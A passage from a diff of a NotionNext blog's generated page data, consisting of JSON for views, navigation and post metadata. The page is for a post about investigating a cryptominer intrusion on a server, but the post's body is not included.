936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240319-xmrig"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 